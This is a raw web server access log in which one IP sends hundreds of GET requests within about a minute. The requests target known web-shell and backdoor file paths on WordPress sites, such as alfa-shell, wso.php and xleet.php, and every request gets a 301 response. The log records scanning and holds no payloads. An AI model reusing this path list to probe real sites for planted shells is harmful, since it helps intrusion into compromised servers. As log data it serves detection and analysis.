"-" 13.90.159.31 - - [13/Apr/2025:14:05:56 -0400] "GET /wp-includes/Text/Diff/Renderer/inline.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:57 -0400] "GET /wp-includes/Text/Diff/Renderer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:57 -0400] "GET /wp-rss.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:57 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:57 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:58 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:58 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:59 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:59 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:59 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:59 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:00 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:00 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:00 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:00 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:01 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:01 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:01 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:02 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:03 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:03 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:04 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:04 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:04 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:05 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:05 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:06 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:06 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:07 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:08 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:09 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:09 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:10 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:10 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:11 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:11 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:11 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:11 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:11 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:12 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:12 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:12 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:13 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:13 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:13 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:13 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:14 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:14 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:14 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:14 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:15 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:16 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:16 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:16 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:17 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:17 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:17 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:17 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:18 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:18 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:19 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:19 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:19 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:20 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:20 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:20 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:20 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:21 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:21 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:21 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:21 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:22 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:22 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:22 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:23 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:23 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:23 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:23 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:23 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:24 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:24 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:24 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:24 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:25 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:25 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:25 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:26 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:26 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:26 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:26 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:27 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:27 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:27 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:27 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:28 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:28 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:28 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:28 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:29 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:29 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:29 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:30 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:30 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:30 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:30 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:31 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:31 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:31 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:32 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:32 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:32 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:33 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:33 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:33 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:33 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:34 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:34 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:34 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:34 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:35 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:35 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:36 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:36 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:36 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:37 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:37 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:37 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:37 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:38 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:38 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:38 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:39 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:39 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:39 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:39 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:40 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:40 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:40 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:40 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:41 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:41 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:41 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:41 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:42 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:42 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:42 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:43 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:43 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:44 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:44 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:44 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:45 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:45 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:46 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:46 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:46 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:46 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:47 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:47 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:47 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:47 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:48 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:48 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:48 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:49 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:49 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:49 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:49 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:50 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:50 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:50 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:50 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:51 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:51 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:51 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:52 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:52 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:52 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:52 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:52 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:53 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:53 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:53 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:53 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:54 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:54 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:54 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:55 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:55 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:55 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:56 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:56 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:57 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:57 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:57 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:58 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:58 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:58 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:06:59 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:00 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:00 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:00 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:01 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:01 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:01 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:02 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:02 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:02 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:03 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:03 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:03 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:03 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:04 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:04 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:04 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:05 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:05 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:05 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:05 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:06 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:06 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:06 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:07 -0400] 